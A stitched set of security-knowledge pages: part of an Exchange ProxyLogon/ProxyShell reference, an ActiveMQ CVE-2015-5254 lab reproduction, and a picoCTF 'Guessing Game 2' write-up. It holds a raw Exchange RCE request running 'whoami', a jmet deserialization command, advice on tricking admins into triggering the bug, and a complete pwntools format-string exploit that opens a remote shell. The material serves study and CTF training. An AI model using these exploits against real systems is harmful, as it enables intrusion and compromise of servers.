User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,like Gecko) Chrome/88.0.4324.190 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: X-BEResource=WIN-4J4L8GP7BF2/EWS/Exchange.asmx?a=~1942062522;
Content-Type: application/x-www-form-urlencoded
Content-Length: 90
code=Response.Write(new ActiveXObject("WScript.Shell").exec("whoami").StdOut.ReadAll());
```
- [microsoft/CSS-Exchange/blob/main/Security/README.md](https://github.com/microsoft/CSS-Exchange/blob/main/Security/README.md)
```
nmap -p <port> --script http-vuln-cve2021-26855 <target>
```
- [CVE-2021-26855 Exchange RCE](https://github.com/mai-lang-chai/Middleware-Vulnerability-detection/tree/master/Exchange/CVE-2021-26855%20Exchange%20RCE)
- [p0wershe11/ProxyLogon](https://github.com/p0wershe11/ProxyLogon) - ProxyLogon(CVE-2021-26855+CVE-2021-27065) Exchange Server RCE(SSRF->GetWebShell)
- [Flangvik/SharpProxyLogon](https://github.com/Flangvik/SharpProxyLogon)
- [Jumbo-WJB/Exchange_SSRF](https://github.com/Jumbo-WJB/Exchange_SSRF)
---
### Proxyshell
**相关文章**
- [Exchange SSRF漏洞从proxylogon到proxyshell(一)](https://mp.weixin.qq.com/s/B_5WWNjG110PCS_gHcpR-A)
- [Exchange proxyshell exp编写(二)](https://mp.weixin.qq.com/s/aEnoBvibp-gkt3qtcOXqAw)
- [Exchange-Proxyshell](https://mp.weixin.qq.com/s/GWFsIRlyR7i8nbg6b7kDnA)
**POC | Payload | exp**
- [GossiTheDog/scanning](https://github.com/GossiTheDog/scanning)
- [dmaasland/proxyshell-poc](https://github.com/dmaasland/proxyshell-poc)
- [Ridter/proxyshell_payload](https://github.com/Ridter/proxyshell_payload)
- [ktecv2000/ProxyShell](https://github.com/ktecv2000/ProxyShell)
- [wudicainiao/proxyshell-for-exchange_workload](https://github.com/wudicainiao/proxyshell-for-exchange_workload)
---
### ProxyToken
**相关文章**
- [PROXYTOKEN: AN AUTHENTICATION BYPASS IN MICROSOFT EXCHANGE SERVER](https://www.zerodayinitiative.com/blog/2021/8/30/proxytoken-an-authentication-bypass-in-microsoft-exchange-server)
---
### ProxyOracle && CVE-2021-31195 && CVE-2021-31196
**影响版本**
CVE-2021-31195
* Exchange Server 2013 < May21SU
* Exchange Server 2016 < May21SU < CU21
* Exchange Server 2019 < May21SU < CU10
CVE-2021-31196
* Exchange Server 2013 < Jul21SU
* Exchange Server 2016 < Jul21SU
* Exchange Server 2019 < Jul21SU
**相关文章**
- [ProxyOracle漏洞分析](https://mp.weixin.qq.com/s/wn6qgN6Yb-KslyHzLJ-bjA)
- [ProxyOracle漏洞分析](https://hosch3n.github.io/2021/08/23/ProxyOracle%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/)
**POC | Payload | exp**
- [hosch3n/ProxyVulns](https://github.com/hosch3n/ProxyVulns) - [ProxyLogon] CVE-2021-26855 & CVE-2021-27065 Fixed RawIdentity Bug Exploit. [ProxyOracle] CVE-2021-31195 & CVE-2021-31196 Exploit Chains. [ProxyShell] CVE-2021-34473 & CVE-2021-34523 & CVE-2021-31207 Exploit Chains.
---
### CVE-2021-41349 Exchange XSS 漏洞
**相关文章**
- [微软补丁日Poc|Exchange XSS 漏洞(CVE-2021-41349)【含Python Poc】](https://mp.weixin.qq.com/s/WX95lcy7_PZvSIG0SALtFA)
**影响版本**
* <= Exchange 2013 update 23
* <= Exchange 2016 update 22
* <= Exchange 2019 update 11
---
### CVE-2021-42321
**相关文章**
- [CVE-2021-42321-天府杯Exchange 反序列化漏洞分析](https://mp.weixin.qq.com/s/qLOIyMlodeq8uOLEAJIzEA)
**POC | Payload | exp**
- [testanull/CVE-2021-42321_poc.py](https://gist.github.com/testanull/0188c1ae847f37a70fe536123d14f398)
- [DarkSprings/CVE-2021-42321](https://github.com/DarkSprings/CVE-2021-42321)
---
### ProxyNotShell
**相关文章**
- [ProxyNotShell— the story of the claimed zero days in Microsoft Exchange](https://doublepulsar.com/proxynotshell-the-story-of-the-claimed-zero-day-in-microsoft-exchange-5c63d963a9e9)
- [Threat Brief: CVE-2022-41040 and CVE-2022-41082: Microsoft Exchange Server (ProxyNotShell)](https://unit42.paloaltonetworks.com/proxynotshell-cve-2022-41040-cve-2022-41082/)
**POC | Payload | exp**
- [testanull/ProxyNotShell-PoC](https://github.com/testanull/ProxyNotShell-PoC)
|
sec-knowleage
|
# ActiveMQ 反序列化漏洞(CVE-2015-5254)
Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。
Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。
参考链接:
- https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf
## 漏洞环境
运行漏洞环境:
```
docker compose up -d
```
环境运行后,将监听61616和8161两个端口。其中61616是工作端口,消息在这个端口进行传递;8161是Web管理页面端口。访问`http://your-ip:8161`即可看到web管理页面,不过这个漏洞理论上是不需要web的。
## 漏洞复现
漏洞利用过程如下:
1. 构造(可以使用ysoserial)可执行命令的序列化对象
2. 作为一个消息,发送给目标61616端口
3. 访问web管理页面,读取消息,触发漏洞
使用[jmet](https://github.com/matthiaskaiser/jmet)进行漏洞利用。首先下载jmet的jar文件,并在同目录下创建一个external文件夹(否则可能会爆文件夹不存在的错误)。
jmet原理是使用ysoserial生成Payload并发送(其jar内自带ysoserial,无需再自己下载),所以我们需要在ysoserial是gadget中选择一个可以使用的,比如ROME。
执行:
```
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME your-ip 61616
```

此时会给目标ActiveMQ添加一个名为event的队列,我们可以通过`http://your-ip:8161/admin/browse.jsp?JMSDestination=event`看到这个队列中所有消息:

点击查看这条消息即可触发命令执行,此时进入容器`docker compose exec activemq bash`,可见/tmp/success已成功创建,说明漏洞利用成功:

将命令替换成弹shell语句再利用:

值得注意的是,通过web管理页面访问消息并触发漏洞这个过程需要管理员权限。在没有密码的情况下,我们可以诱导管理员访问我们的链接以触发,或者伪装成其他合法服务需要的消息,等待客户端访问的时候触发。
|
sec-knowleage
|
# Guessing Game 2
Category: Binary Exploitation
## Description
> It's the Return of your favorite game!
```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#define BUFSIZE 512
long get_random() {
return rand;
}
int get_version() {
return 2;
}
int do_stuff() {
long ans = (get_random() % 4096) + 1;
int res = 0;
printf("What number would you like to guess?\n");
char guess[BUFSIZE];
fgets(guess, BUFSIZE, stdin);
long g = atol(guess);
if (!g) {
printf("That's not a valid number!\n");
} else {
if (g == ans) {
printf("Congrats! You win! Your prize is this print statement!\n\n");
res = 1;
} else {
printf("Nope!\n\n");
}
}
return res;
}
void win() {
char winner[BUFSIZE];
printf("New winner!\nName? ");
gets(winner);
printf("Congrats: ");
printf(winner);
printf("\n\n");
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
int res;
printf("Welcome to my guessing game!\n");
printf("Version: %x\n\n", get_version());
while (1) {
res = do_stuff();
if (res) {
win();
}
}
return 0;
}
```
Makefile:
```makefile
all:
gcc -m32 -no-pie -Wl,-z,relro,-z,now -o vuln vuln.c
clean:
rm vuln
```
In addition, a binary file was included.
## Solution
This is the follow-up for [Guessing Game 1](Guessing_Game_1.md). Once more, we have a short program which randomly selects a number, and asks the user to guess it. If successful, the user can enter a name and be congratulated.
Just like last time, the random number generated by `get_random()` isn't really random. However, at least last time it was pseudo-random. This time it's a constant!
```c
long get_random() {
return rand;
}
```
Instead of calling `rand()`, the function is returning the address of the `rand()` function modulus 4096. Why is this important? Because the address of `rand()` might be randomized by the loader, but if we apply modulus 4096 to it we effectively get a constant value:
Even if ASLR is enabled and `libc` gets loaded to a different address during each run, it still needs to get loaded to a page-aligned address, where pages are (usually) 4K. Therefore, the offset within each page needs to be constant, and in order to represent an offset within a 4K buffer we need 12 bits.
This means that the bottom 12 bits of `rand`'s address don't change between runs, only the top bits get randomized. When we apply modulus 4096 to a number, we are essentially extracting the bottom 12 bits of that number. In our case, since these bits aren't affected by ASLR, we actually get a constant result.
We still have to find the correct offset for `rand` though. Although for a given `LibC` the offset of `rand` within the library is constant, each `LibC` might have a different offset for `rand` and we don't which `LibC` the server is using. We'll get to that in a moment, but let's just perform a local sanity check before moving on.
We'll use `gdb` to check the `rand` offset on our local machine, and see if we can bypass the guess phase:
```console
root@kali:/media/sf_CTFs/pico/Guessing_Game_2# gdb ./vuln -ex "set disable-randomization off" -ex "b main" -ex "r" -ex 'printf "rand = 0x%x\n", rand' -ex "set confirm off" -ex "q" -n | grep rand
rand = 0xf7d92860
root@kali:/media/sf_CTFs/pico/Guessing_Game_2# gdb ./vuln -ex "set disable-randomization off" -ex "b main" -ex "r" -ex 'printf "rand = 0x%x\n", rand' -ex "set confirm off" -ex "q" -n | grep rand
rand = 0xf7dae860
root@kali:/media/sf_CTFs/pico/Guessing_Game_2# gdb ./vuln -ex "set disable-randomization off" -ex "b main" -ex "r" -ex 'printf "rand = 0x%x\n", rand' -ex "set confirm off" -ex "q" -n | grep rand
rand = 0xf7d5d860
```
This command enables ASLR, then prints the `rand` offset and exits. We run it three times and we can see that we got three different results, although the bottom 12 bits are constant as we explained earlier. Now, according to the code, the calculation is:
```python
>>> (0xf7d92860 % 4096) + 1
2145
>>> (0xf7dae860 % 4096) + 1
2145
>>> (0xf7d5d860 % 4096) + 1
2145
```
Let's try it:
```console
root@kali:/media/sf_CTFs/pico/Guessing_Game_2# ./vuln
Welcome to my guessing game!
Version: 2
What number would you like to guess?
2145
Nope!
```
That didn't work!
The reason is that the C program treats the variables as `signed` integers, and a signed `long` with the value of `0xf7d92860` in a 32-bit program is interpreted as a negative number. The following program can demonstrate this:
```c
#include <stdio.h>
int main()
{
long random = 0xf7d92860;
long ans = (random % 4096) + 1;
printf("random = %ld\n", random);
printf("ans = %ld\n", ans);
return 0;
}
```
Output:
```console
root@kali:/media/sf_CTFs/pico/Guessing_Game_2# gcc -m32 test.c -o test && ./test
random = -136763296
ans = -1951
```
Let's try `-1951`:
```console
root@kali:/media/sf_CTFs/pico/Guessing_Game_2# ./vuln
Welcome to my guessing game!
Version: 2
What number would you like to guess?
-1951
Congrats! You win! Your prize is this print statement!
```
This looks much better. We can mimic a similar behavior in Python using a negative modulus, e.g.:
```python
>>> (0xf7d92860 % -4096) + 1
-1951
```
Notice that this only happens if `LibC` gets loaded to an address which when interpreted as a signed `long` is considered negative (i.e. when the MSB is set). We don't know where the server's loader will load `LibC` to, but it is a fairly safe assumption that it will be loaded to such an address, therefore we'll assume that also on the server `ans` will end up negative.
We still need to find the correct offset/value to bypass the first phase. We have a few options:
1. Brute force all possible positive and negative value -> Too many values
2. Brute force all possible negative values -> Still around 4096 values, not very tempting
3. Use a `libc` database in order to create a list of known `rand` offsets, then try them
We'll go for option #3 using [libc-database](https://github.com/niklasb/libc-database). After downloading the database, we use the following script in order to try all known `rand` offsets:
```python
from pwn import *
import ctypes
from pathlib import Path
from collections import defaultdict, namedtuple
LIBC_DB_BASE = "../../../Utils/libc-database"
LIBC_DB_DUMP = Path(LIBC_DB_BASE, "dump")
Record = namedtuple("Record", "name offset")
def get_rand_offset_map():
res = defaultdict(list)
with log.progress('Retrieving rand() offsets') as p:
for i, libc_path in enumerate(Path(LIBC_DB_BASE, "db").glob("*.so")):
p.status(f"Read {i} libraries")
with context.local(log_level='ERROR'):
output = process('{} {} rand'.format(LIBC_DB_DUMP, libc_path.stem), shell=True).recvall().decode("ascii")
offset = int(output.replace("offset_rand =", "").strip(), 16)
guess = ctypes.c_int32((offset % -4096) + 1).value
res[guess].append(Record(libc_path.stem, offset))
return res
def test_guesses(rand_offset_map):
with log.progress('Testing against server') as p:
for i, guess in enumerate(rand_offset_map.keys()):
p.status(f"Tested {i} offsets")
with context.local(log_level='ERROR'):
r = remote("jupiter.challenges.picoctf.org", 28953)
r.recvuntil("What number would you like to guess?\n")
r.sendline(str(guess))
output = r.recvline()
r.close()
if b"Congrats" in output:
return guess
return None
def main():
rand_offset_map = get_rand_offset_map()
log.info("Found {} unique guess values".format(len(rand_offset_map)))
guess = test_guesses(rand_offset_map)
if guess is not None:
log.success(f"Found correct guess: '{guess}'")
log.info("Matching libraries:")
for record in rand_offset_map[guess]:
log.info("0x{:#08x}: {}".format(record.offset, record.name))
else:
log.failure("Can't find correct guess")
if __name__ == "__main__":
main()
```
Output:
```console
$ python3 guess_rand.py
[+] Retrieving rand() offsets: Done
[*] Found 178 unique guess values
[+] Testing against server: Done
[+] Found correct guess: '-31'
[*] Matching libraries:
[*] 0x0x02ffe0: libc6-i386_2.8~20080505-0ubuntu9_amd64
[*] 0x0x030fe0: libc6-i386_2.27-3ubuntu1.2_amd64
```
We can see that we were able to reduce the search range to < 200 values, and eventually we found out that `-31` is accepted as the correct guess:
```console
root@kali:/media/sf_CTFs/pico/Guessing_Game_2# nc jupiter.challenges.picoctf.org 28953
Welcome to my guessing game!
Version: 2
What number would you like to guess?
-31
Congrats! You win! Your prize is this print statement!
```
Finally, we can proceed to the next phase. As opposed to the previous challenge, this time the binary does have a stack canary:
```console
root@kali:/media/sf_CTFs/pico/Guessing_Game_2# (echo "-1951"; python -c "print('A'*513)") | ./vuln
Welcome to my guessing game!
Version: 2
What number would you like to guess?
Congrats! You win! Your prize is this print statement!
New winner!
Name? Congrats: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
*** stack smashing detected ***: <unknown> terminated
Aborted
```
So, no buffer overflow this time. It also dynamically linked:
```console
root@kali:/media/sf_CTFs/pico/Guessing_Game_2# ldd ./vuln
linux-gate.so.1 (0xf7f09000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7d10000)
/lib/ld-linux.so.2 (0xf7f0b000)
```
This means that we have less gadgets to play with.
Luckily we have a format string vulnerability, since user controlled input is passed directly to `printf` without sanitization:
```c
gets(winner);
printf("Congrats: ");
printf(winner);
```
This allows us to print values from the stack:
```
New winner!
Name? %p.%p.%p.%p
Congrats: 0x200.0xf7f545c0.0x804877d.0x1
```
With some trial and error (or automation using `pwntools` as seen below), we can identify that the seventh offset allows us to read back a value that we entered:
```
Name? AAAA%7$p
Congrats: AAAA0x41414141
```
This allows us to read (almost) any memory address by using `%s`. We can leak the address of `rand` from the GOT by sending:
```
00000000 f8 9f 04 08 25 37 24 73 │····│%7$s│
```
The GOT address for `rand` (`0x08049ff8`) can be retrieved using the debugger:
```
gdb-peda$ got
/media/sf_CTFs/pico/Guessing_Game_2/vuln: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049ff0 R_386_GLOB_DAT __gmon_start__
08049ff4 R_386_GLOB_DAT stdin@GLIBC_2.0
08049ff8 R_386_GLOB_DAT rand@GLIBC_2.0
08049ffc R_386_GLOB_DAT stdout@GLIBC_2.0
08049fc8 R_386_JUMP_SLOT printf@GLIBC_2.0
08049fcc R_386_JUMP_SLOT gets@GLIBC_2.0
08049fd0 R_386_JUMP_SLOT fgets@GLIBC_2.0
08049fd4 R_386_JUMP_SLOT __stack_chk_fail@GLIBC_2.4
08049fd8 R_386_JUMP_SLOT getegid@GLIBC_2.0
08049fdc R_386_JUMP_SLOT puts@GLIBC_2.0
08049fe0 R_386_JUMP_SLOT __libc_start_main@GLIBC_2.0
08049fe4 R_386_JUMP_SLOT atol@GLIBC_2.0
08049fe8 R_386_JUMP_SLOT setvbuf@GLIBC_2.0
08049fec R_386_JUMP_SLOT setresgid@GLIBC_2.0
```
We'll receive a response that the value is `0xf7dd6fe0`. Using the same method, we can dump the address of `atol` as well (it's `0xf7dd4770`). This allows us to determine which of the two libraries we saw earlier the server is actually using by searching for the `LibC` that has the combination of these offsets:
```console
root@kali:~/utils/libc-database# ./find rand fe0 atol 770 | awk '{printf $2}' && echo
(libc6-i386_2.27-3ubuntu1.2_amd64)
```
Let's check this library's info for full details regarding the offsets:
```console
root@kali:~/utils/libc-database# ./dump libc6-i386_2.27-3ubuntu1.2_amd64
offset___libc_start_main_ret = 0x18e91
offset_system = 0x0003cd80
offset_dup2 = 0x000e61b0
offset_read = 0x000e56c0
offset_write = 0x000e5790
offset_str_bin_sh = 0x17bb8f
root@kali:~/utils/libc-database# ./dump libc6-i386_2.27-3ubuntu1.2_amd64 atol
offset_atol = 0x0002e770
root@kali:~/utils/libc-database# ./dump libc6-i386_2.27-3ubuntu1.2_amd64 rand
offset_rand = 0x00030fe0
```
Back to the format string vulnerability, it also allows us to write to (almost) any address using `%n`. It might be tempting to try and overwrite a `.got.plt` entry with the address of `system`, but unfortunately the binary has `Full RELRO` protection:
```console
root@kali:/media/sf_CTFs/pico/Guessing_Game_2# checksec --file=./vuln
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO Canary found NX enabled No PIE No RPATH No RUNPATH 80) Symbols No 0 3 ./vuln
```
So, the next best thing is to skip over the stack canary and overwrite the `win` return address. For that, we need to first leak a stack address, then use it to calculate where the return address is located, and finally replace it.
We'll leak `win`'s `ebp`. Let's find it with the debugger.
First, we need a view of the stack at the point of the format string leak:
```assembly
| 0x080487c7 8d85f4fdffff lea eax, [format]
| 0x080487cd 50 push eax ; const char *format
| 0x080487ce e89dfcffff call sym.imp.printf ; int printf(const char *format)
| 0x080487d3 83c410 add esp, 0x10
```
So, we set a breakpoint at `0x080487ce`:
```
gdb-peda$ b *0x080487ce
Breakpoint 1 at 0x80487ce
```
We can enter `"%p.%p.%p"` as the name (causing the program to print `"0x200.0xf7fb05c0.0x804877d"`), and in parallel view the stack in the debugger:
```
[------------------------------------stack-------------------------------------]
0000| 0xffffd110 --> 0xffffd12c ("%p.%p.%p")
0004| 0xffffd114 --> 0x200
0008| 0xffffd118 --> 0xf7fb05c0 --> 0xfbad2288
0012| 0xffffd11c --> 0x804877d (<win+15>: add ebx,0x183f)
0016| 0xffffd120 --> 0x1
0020| 0xffffd124 --> 0xfffff861
0024| 0xffffd128 --> 0xfffff861
0028| 0xffffd12c ("%p.%p.%p")
```
As we can see, the values printed by the program are also visible via the stack view. We're looking for `ebp` which is located right before `ret`. The `ret` value we're expecting is `0x0804888c`:
```assembly
| : 0x08048887 e8e2feffff call sym.win
\ `=< 0x0804888c ebeb jmp 0x8048879
```
Searching for it in the stack:
```
gdb-peda$ find 0x0804888c stack
Searching for '0x0804888c' in: stack ranges
Found 1 results, display max 1 items:
[stack] : 0xffffd33c --> 0x804888c (<main+141>: jmp 0x8048879 <main+122>)
```
So the return address is the 139th DWORD from our location:
```python
>>> (0xffffd33c - 0xffffd110) / 4
139.0
```
This makes `ebp` the 138th DWORD from our location:
```
gdb-peda$ p/x *(int*)($esp + 139 * 4)
$16 = 0x804888c
gdb-peda$ p/x *(int*)($esp + 138 * 4)
$17 = 0xffffd358
```
We got an address on the stack: `0xffffd358`. We can calculate the diff between this address and the stack address of the return address:
```python
>>> 0xffffd358 - 0xffffd33c
28
```
So we finally know that if we leak the 138th value from the stack and subtract 28 from it, we get the address of `ret`. That's the address we want to overwrite.
The last question is what to overwrite `ret` with. We'll just use [`one_gadget`](https://github.com/david942j/one_gadget):
```console
root@kali:/media/sf_CTFs/pico/Guessing_Game_2# one_gadget libc6-i386_2.27-3ubuntu1.2_amd64.so
0x3cc5a execve("/bin/sh", esp+0x34, environ)
constraints:
esi is the GOT address of libc
[esp+0x34] == NULL
0x3cc5c execve("/bin/sh", esp+0x38, environ)
constraints:
esi is the GOT address of libc
[esp+0x38] == NULL
0x3cc60 execve("/bin/sh", esp+0x3c, environ)
constraints:
esi is the GOT address of libc
[esp+0x3c] == NULL
0x3cc67 execve("/bin/sh", esp+0x40, environ)
constraints:
esi is the GOT address of libc
[esp+0x40] == NULL
0x6730f execl("/bin/sh", eax)
constraints:
esi is the GOT address of libc
eax == NULL
0x67310 execl("/bin/sh", [esp])
constraints:
esi is the GOT address of libc
[esp] == NULL
0x13593e execl("/bin/sh", eax)
constraints:
ebx is the GOT address of libc
eax == NULL
0x13593f execl("/bin/sh", [esp])
constraints:
ebx is the GOT address of libc
[esp] == NULL
```
These gadgets seem to have a cryptic constraint: "esi is the GOT address of libc". There's some information about it [here](https://github.com/david942j/one_gadget/issues/130). In short, they explain that this means that `esi` needs to be the value of `libc_base` + `readelf -d /path/to/libc | grep PLTGOT`, but usually `esi` already has this value in `main`. Luckily, in our case, `main` is calling `win`.
Once we overwrite `ret` with `one gadget`, we'll get a shell. Putting it all together as a `pwntools` script, we get:
```python
# Create template using:
# $ pwn template --host jupiter.challenges.picoctf.org --port 28953 ./vuln
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: i386-32-little
# RELRO: Full RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: No PIE (0x8048000)
from functools import partial
import ctypes
if args.LOCAL:
libc = ELF(exe.libc.path)
one_gadget_base_addr = 0x13964a
else:
libc = ELF('libc6-i386_2.27-3ubuntu1.2_amd64.so')
one_gadget_base_addr = 0x6730f
class GuessingGame2():
def __init__(self, io, libc):
self.io = io
self.libc = libc
self.guess_val = str(ctypes.c_int32((libc.symbols["rand"] % -4096) + 1).value)
with context.local(log_level='ERROR'):
self.fmt_offset = FmtStr(self.send_payload).offset
log.info("Guess value: {}".format(self.guess_val))
log.info("Format string offset: {}".format(self.fmt_offset))
def guess(self, guess_val):
self.io.recvuntil("What number would you like to guess?\n")
log.debug("Guessing: '{}'".format(guess_val))
self.io.sendline(guess_val)
line = self.io.recvline()
if not "Congrats!" in line.decode("ascii"):
raise RuntimeError("Incorrect guess: {}".format(guess_val))
def enter_name(self, name):
log.debug("Entering name: '{}'".format(name))
self.io.sendline(name)
self.io.recvuntil("Congrats: ")
output = self.io.recvline(keepends = False)
return output
def send_payload(self, payload):
self.guess(self.guess_val)
log.info("Sending payload: \n{}".format(hexdump(payload)))
return self.enter_name(payload)
def leak_addr(self, addr):
output = self.send_payload(p32(addr) + "%{}$s".format(self.fmt_offset).encode("ascii"))
addr_copy = u32(output[0:4])
assert (addr == addr_copy)
value = u32(output[4:8])
log.info("Leaked: memory @ {} == {}".format(hex(addr), hex(value)))
return value
def leak_stack(self, offset):
output = self.send_payload("%{}$p".format(offset).encode("ascii"))
value = int(output.decode('ascii'), 16)
log.info("Leaked: stack @ DWORD offset {} == {}".format(offset, hex(value)))
return value
def get_fmt_str_writer(self):
return FmtStr(self.send_payload, offset = self.fmt_offset)
io = start()
gg2 = GuessingGame2(io, libc)
atol_addr = gg2.leak_addr(exe.got["atol"])
log.info("Address of atol() from GOT : 0x{:08x}".format(atol_addr))
log.info("Address of atol() from LibC : 0x{:08x}".format(libc.symbols["atol"]))
rand_addr = gg2.leak_addr(exe.got["rand"])
log.info("Address of rand() from GOT : 0x{:08x}".format(rand_addr))
log.info("Address of rand() from LibC : 0x{:08x}".format(libc.symbols["rand"]))
libc.address = rand_addr - libc.symbols["rand"]
assert(libc.address & 0xFFF == 0)
log.info("LibC Base : 0x{:08x}".format(libc.address))
log.info("Leaking value of win() EBP")
win_frame_ebp = gg2.leak_stack(138)
win_ret_addr = win_frame_ebp - 28
log.info("win() return address on stack: {}".format(hex(win_ret_addr)))
# First method: Using "One Gadget"
one_gadget_abs_addr = one_gadget_base_addr + libc.address
log.info("Writing {} to {}".format(hex(win_ret_addr), hex(one_gadget_abs_addr)))
autofmt = gg2.get_fmt_str_writer()
autofmt.write(win_ret_addr, one_gadget_abs_addr)
autofmt.execute_writes()
"""
# Alternative method: Using ROP
system_addr = libc.symbols['system']
bin_sh_addr = next(libc.search(b'/bin/sh'))
log.info('Address of system(): {}'.format(hex(system_addr)))
log.info('Address of /bin/sh: {}'.format(hex(bin_sh_addr)))
rop = ROP(libc)
rop.system(bin_sh_addr)
log.info("ROP: \n{}".format(rop.dump()))
autofmt = gg2.get_fmt_str_writer()
for i, dword in enumerate(unpack_many(rop.chain(), exe.bits, endian='little', sign=False)):
autofmt.write(win_ret_addr + ( (exe.bits // 8) * i), dword)
autofmt.execute_writes()
"""
io.interactive()
```
Output:
```console
root@kali:/media/sf_CTFs/pico/Guessing_Game_2# python3 exploit.py
[*] '/media/sf_CTFs/pico/Guessing_Game_2/vuln'
Arch: i386-32-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[*] '/media/sf_CTFs/pico/Guessing_Game_2/libc6-i386_2.27-3ubuntu1.2_amd64.so'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to jupiter.challenges.picoctf.org on port 28953: Done
[*] Guess value: -31
[*] Format string offset: 7
[*] Sending payload:
00000000 e4 9f 04 08 25 37 24 73 │····│%7$s│
00000008
[*] Leaked: memory @ 0x8049fe4 == 0xf7e06770
[*] Address of atol() from GOT : 0xf7e06770
[*] Address of atol() from LibC : 0x0002e770
[*] Sending payload:
00000000 f8 9f 04 08 25 37 24 73 │····│%7$s│
00000008
[*] Leaked: memory @ 0x8049ff8 == 0xf7e08fe0
[*] Address of rand() from GOT : 0xf7e08fe0
[*] Address of rand() from LibC : 0x00030fe0
[*] LibC Base : 0xf7dd8000
[*] Leaking value of win() EBP
[*] Sending payload:
00000000 25 31 33 38 24 70 │%138│$p│
00000006
[*] Leaked: stack @ DWORD offset 138 == 0xffb19508
[*] win() return address on stack: 0xffb194ec
[*] Writing 0xffb194ec to 0xf7e3f30f
[*] Sending payload:
00000000 25 31 35 63 25 31 38 24 68 68 6e 25 32 31 32 63 │%15c│%18$│hhn%│212c│
00000010 25 31 39 24 68 68 6e 25 31 36 63 25 32 30 24 68 │%19$│hhn%│16c%│20$h│
00000020 68 6e 25 34 63 25 32 31 24 68 68 6e ec 94 b1 ff │hn%4│c%21│$hhn│····│
00000030 ee 94 b1 ff ed 94 b1 ff ef 94 b1 ff │····│····│····│
0000003c
[*] Switching to interactive mode
$ ls
flag.txt
vuln
vuln.c
xinet_startup.sh
$ cat flag.txt
picoCTF{p0p_r0p_4nd_dr0p_1t_3c29990aa7386650}
$ exit
$
[*] Got EOF while reading in interactive
$
[*] Closed connection to jupiter.challenges.picoctf.org port 28953
[*] Got EOF while sending in interactive
```
The flag: `picoCTF{p0p_r0p_4nd_dr0p_1t_3c29990aa7386650}`
|
sec-knowleage
|
Subsets and Splits
Top 100 EPUB Books
This query retrieves a limited set of raw data entries that belong to the 'epub_books' category, offering only basic filtering without deeper insights.